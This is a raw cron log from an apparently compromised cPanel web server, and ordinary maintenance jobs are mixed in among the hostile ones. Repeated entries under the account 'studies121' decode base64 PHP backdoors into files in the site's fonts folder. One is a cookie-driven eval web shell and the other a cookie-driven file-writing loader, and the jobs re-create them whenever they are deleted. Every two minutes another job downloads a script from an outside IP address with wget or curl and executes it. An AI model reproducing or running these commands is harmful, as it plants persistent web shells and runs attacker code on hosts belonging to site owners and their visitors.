Aug 31 11:52:01 ip-184-168-122-23 CROND[24589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:52:01 ip-184-168-122-23 CROND[24593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:52:01 ip-184-168-122-23 CROND[24592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:52:01 ip-184-168-122-23 CROND[24591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:53:01 ip-184-168-122-23 CROND[24687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:53:01 ip-184-168-122-23 CROND[24690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:53:01 ip-184-168-122-23 CROND[24688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:53:01 ip-184-168-122-23 CROND[24689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:54:01 ip-184-168-122-23 CROND[24802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:54:01 ip-184-168-122-23 CROND[24804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:54:01 ip-184-168-122-23 CROND[24806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:54:01 ip-184-168-122-23 CROND[24808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:54:01 ip-184-168-122-23 CROND[24809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:55:01 ip-184-168-122-23 CROND[24922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:55:01 ip-184-168-122-23 CROND[24924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:55:01 ip-184-168-122-23 CROND[24928]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:55:01 ip-184-168-122-23 CROND[24925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:55:01 ip-184-168-122-23 CROND[24926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:55:01 ip-184-168-122-23 CROND[24927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:56:01 ip-184-168-122-23 CROND[25153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:56:01 ip-184-168-122-23 CROND[25154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:56:01 ip-184-168-122-23 CROND[25156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:56:01 ip-184-168-122-23 CROND[25159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:56:01 ip-184-168-122-23 CROND[25158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:57:01 ip-184-168-122-23 CROND[25266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:57:01 ip-184-168-122-23 CROND[25267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:57:01 ip-184-168-122-23 CROND[25270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:57:02 ip-184-168-122-23 CROND[25271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:58:01 ip-184-168-122-23 CROND[25413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:58:01 ip-184-168-122-23 CROND[25418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:58:01 ip-184-168-122-23 CROND[25415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:58:01 ip-184-168-122-23 CROND[25417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:58:01 ip-184-168-122-23 CROND[25416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:59:01 ip-184-168-122-23 CROND[25509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:59:01 ip-184-168-122-23 CROND[25510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:59:01 ip-184-168-122-23 CROND[25513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:59:01 ip-184-168-122-23 CROND[25515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:00:01 ip-184-168-122-23 CROND[25615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:00:01 ip-184-168-122-23 CROND[25617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:00:01 ip-184-168-122-23 CROND[25625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:00:01 ip-184-168-122-23 CROND[25620]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 12:00:01 ip-184-168-122-23 CROND[25622]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Aug 31 12:00:01 ip-184-168-122-23 CROND[25618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:00:01 ip-184-168-122-23 CROND[25624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:00:01 ip-184-168-122-23 CROND[25619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:00:01 ip-184-168-122-23 CROND[25621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:00:01 ip-184-168-122-23 CROND[25623]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:01:01 ip-184-168-122-23 CROND[25865]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25865]: starting 0anacron
Aug 31 12:01:01 ip-184-168-122-23 CROND[25872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25875]: finished 0anacron
Aug 31 12:01:01 ip-184-168-122-23 CROND[25876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:01:01 ip-184-168-122-23 CROND[25881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:01:01 ip-184-168-122-23 CROND[25880]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 12:01:01 ip-184-168-122-23 CROND[25882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:02:02 ip-184-168-122-23 CROND[26039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:02:02 ip-184-168-122-23 CROND[26040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:02:02 ip-184-168-122-23 CROND[26041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:02:02 ip-184-168-122-23 CROND[26043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:02:02 ip-184-168-122-23 CROND[26042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:03:01 ip-184-168-122-23 CROND[26163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:03:01 ip-184-168-122-23 CROND[26164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:03:01 ip-184-168-122-23 CROND[26170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:03:01 ip-184-168-122-23 CROND[26166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:04:01 ip-184-168-122-23 CROND[26291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
